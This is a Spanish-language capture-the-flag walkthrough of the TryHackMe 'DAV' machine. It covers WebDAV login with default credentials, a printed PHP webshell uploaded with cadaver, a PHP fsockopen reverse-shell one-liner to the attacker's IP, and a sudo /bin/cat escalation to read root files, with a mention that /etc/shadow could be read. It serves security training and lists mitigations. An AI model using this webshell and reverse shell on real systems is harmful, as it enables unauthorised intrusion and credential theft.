DAV - TryHackMe
xhetic
@xhetic
📚 Esta publicación pertenece a la colección:
DAV - TryHackMe Walkthrough
Bienvenido a mi writeup de la máquina DAV de TryHackMe. En esta máquina exploto un servicio WebDAV vulnerable para conseguir acceso inicial y escalo privilegios aprovechando una pequeña desconfiguración de sudo.
Room: DAV
Dificultad: Easy
OS: Linux
Objetivo: Capturar las flags de usuario y root
🎯 Información del Objetivo
IP Target: 10.10.47.60
🔍 Fase 1: Reconocimiento (RECON)
Comprobación de Conectividad
Empiezo verificando que tengo conectividad con el objetivo:
ping -c4 10.10.47.60-c4→ Envía 4 paquetes ICMP y se detiene

El TTL es 63, lo cual me indica que estoy ante una máquina Linux. El valor original de TTL en Linux es 64, y si lo recibo con 63 simplemente significa que ha pasado por 1 salto de red.
💡 Referencia rápida de TTL:
- TTL ≈ 64 → Linux/Unix
- TTL ≈ 128 → Windows
- TTL ≈ 255 → Cisco/routers
Escaneo de Puertos
Lanzo un escaneo de los puertos más comunes con detección de versiones y scripts:
nmap 10.10.47.60 -sV -Pn -sC --top-ports 100-sV→ Detección de versiones de los servicios-Pn→ Sin ping previo, asume que el host está activo-sC→ Ejecuta los scripts NSE por defecto--top-ports 100→ Escanea solo los 100 puertos más comunes

El único puerto abierto es el 80 (HTTP) con Apache httpd 2.4.18. Al acceder a http://10.10.47.60 veo la página por defecto de Apache2, lo que me indica que el servidor está levantado pero sin contenido personalizado visible.
📂 Fase 2: Enumeración Web
Con un servidor web activo, el siguiente paso es enumerar directorios. Uso el script http-enum de nmap:
nmap 10.10.47.60 -Pn -vvv -p80 --script=http-enum-vvv→ Nivel de verbosidad máximo, muestra resultados en tiempo real-p80→ Escanea solo el puerto 80--script=http-enum→ Ejecuta el script NSE que enumera directorios y archivos comunes en servidores web

El script ha encontrado un directorio llamado /webdav/.
WebDAV (Web Distributed Authoring and Versioning) es una extensión del protocolo HTTP que permite a los usuarios gestionar y editar archivos en servidores web remotos. Es como un disco compartido accesible vía web. El problema es que WebDAV mal configurado puede ser una puerta de entrada para atacantes.
🔐 Fase 3: Acceso a WebDAV
Al acceder a http://10.10.47.60/webdav/ me encuentro con una autenticación HTTP Basic. Lo primero que pienso es en un ataque de fuerza bruta, pero antes pruebo algo más sencillo: credenciales por defecto. Muchos administradores instalan servicios y olvidan cambiar las credenciales predeterminadas.
Buscando credenciales típicas de instalaciones WebDAV, aparecen varias opciones comunes: admin:admin, admin:password, root:root... y también wampp:xampp, específica de XAMPP.
Pruebo wampp:xampp y entro sin problema.
Confirmación del Sistema Operativo
Aunque el TTL ya me sugería Linux, lo confirmo con detección de SO:
nmap 10.10.47.60 -Pn -O-O→ Intenta detectar el sistema operativo del objetivo analizando las respuestas de red

Confirmado: sistema Linux.
Prueba de Capacidades con DAVTest
Antes de subir nada, uso davtest para verificar qué tipos de archivos puedo subir y, más importante, cuáles son ejecutables:
davtest -url http://10.10.47.60/webdav/ -auth wampp:xampp-url→ URL del directorio WebDAV a analizar-auth→ Credenciales de acceso en formatousuario:contraseña

Puedo subir archivos .php y son ejecutables. Esto significa que puedo subir una webshell PHP y ejecutar comandos directamente en el servidor.
🚀 Fase 4: Explotación — Webshell PHP via WebDAV
Creación de la WebShell
Creo un archivo webshell.php con una webshell simple:
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd'] . ' 2>&1');
}
?>
</pre>
</body>
</html>Fuente: Simple PHP WebShell by joswr1ght
Subida con Cadaver
Uso cadaver, un cliente WebDAV por línea de comandos, para subir el archivo:
cadaver http://10.10.47.60/webdav/
put webshell.phpcadaver→ Cliente WebDAV interactivo por línea de comandosput webshell.php→ Sube el archivo localwebshell.phpal servidor WebDAV

Ahora accedo a http://10.10.47.60/webdav/webshell.php y tengo una interfaz donde puedo ejecutar comandos en el servidor:

🖥️ Fase 5: Post-Explotación
Flag de Usuario
Con la webshell activa, exploro el sistema. Ejecuto whoami y veo que soy www-data. Listo el contenido de /home/ y encuentro al usuario merlin. Voy a su directorio:
cat /home/merlin/user.txtLee el archivo de la flag de usuario desde el directorio home de merlin

🚩 Flag de usuario capturada!
Reverse Shell para Mayor Comodidad
Trabajar con una webshell en el navegador es incómodo. Establezco una reverse shell para tener una terminal interactiva. Me pongo en escucha en mi máquina:
nc -nlvp 1234-n→ Sin resolución DNS-l→ Modo escucha, espera conexiones entrantes-v→ Verbose, muestra información de las conexiones-p 1234→ Puerto donde escuchar
Desde la webshell ejecuto la conexión inversa:
php -r '$sock=fsockopen("10.8.63.221",1234);exec("sh <&3 >&3 2>&3");'fsockopen→ Abre una conexión TCP hacia mi máquinaexec→ Redirige stdin, stdout y stderr de una shell al socket abierto
Ahora tengo shell como www-data. Estabilizo la TTY:
python3 -c 'import pty;pty.spawn("/bin/bash")'- Genera una pseudo-terminal interactiva desde Python, necesaria para comandos interactivos
⬆️ Fase 6: Escalada de Privilegios (PRIVESC)
Enumeración de Permisos Sudo
Lo primero que siempre compruebo es si el usuario actual tiene permisos sudo:
sudo -lLista los comandos que el usuario actual puede ejecutar con sudo
User www-data may run the following commands on ubuntu: (ALL) NOPASSWD: /bin/cat
www-data puede ejecutar /bin/cat como root sin contraseña. El comando cat lee archivos. Si puedo ejecutarlo como root, puedo leer cualquier archivo del sistema: /etc/shadow, claves SSH privadas, y por supuesto la flag de root.
Captura de la Flag de Root

sudo /bin/cat /root/root.txtsudo→ Ejecuta el comando con privilegios de root/bin/cat→ El único binario que www-data puede ejecutar como root/root/root.txt→ Archivo de la flag de root
🚩 Flag de root capturada!
💡 Con este mismo privilegio podría leer
/etc/shadowpara obtener los hashes de contraseñas del sistema y crackearlos offline. Pero para esta máquina ya he cumplido el objetivo.
📊 Resumen
Cadena de Ataque
WebDAV con credenciales por defecto → DAVTest → Webshell PHP → Reverse Shell → sudo /bin/cat → Root
Herramientas Utilizadas
- nmap — Reconocimiento de puertos y enumeración HTTP
- davtest — Prueba de capacidades WebDAV
- cadaver — Cliente WebDAV para subir la webshell
- netcat — Listener para la reverse shell
🛡️ Vulnerabilidades y Mitigaciones
| Vulnerabilidad | Severidad | Mitigación |
|---|---|---|
| Credenciales por defecto en WebDAV | CRÍTICA | Cambiar credenciales inmediatamente tras la instalación |
| WebDAV permite subida y ejecución de PHP | CRÍTICA | Deshabilitar WebDAV si no es necesario; implementar whitelist de tipos |
sudo NOPASSWD con /bin/cat para www-data | CRÍTICA | Nunca dar acceso NOPASSWD a comandos que leen archivos; mínimo privilegio |
📚 Referencias
🔗 Si quieres seguir aprendiendo y mejorando tus habilidades, explora mis writeups paso a paso en Shadows y mis apuntes y guías técnicas en Shards.
Happy Hacking! 🎩🔐
Sigueme en TryHackMe :
Writeup realizado con fines educativos. Recuerda solo realizar pentesting en entornos autorizados.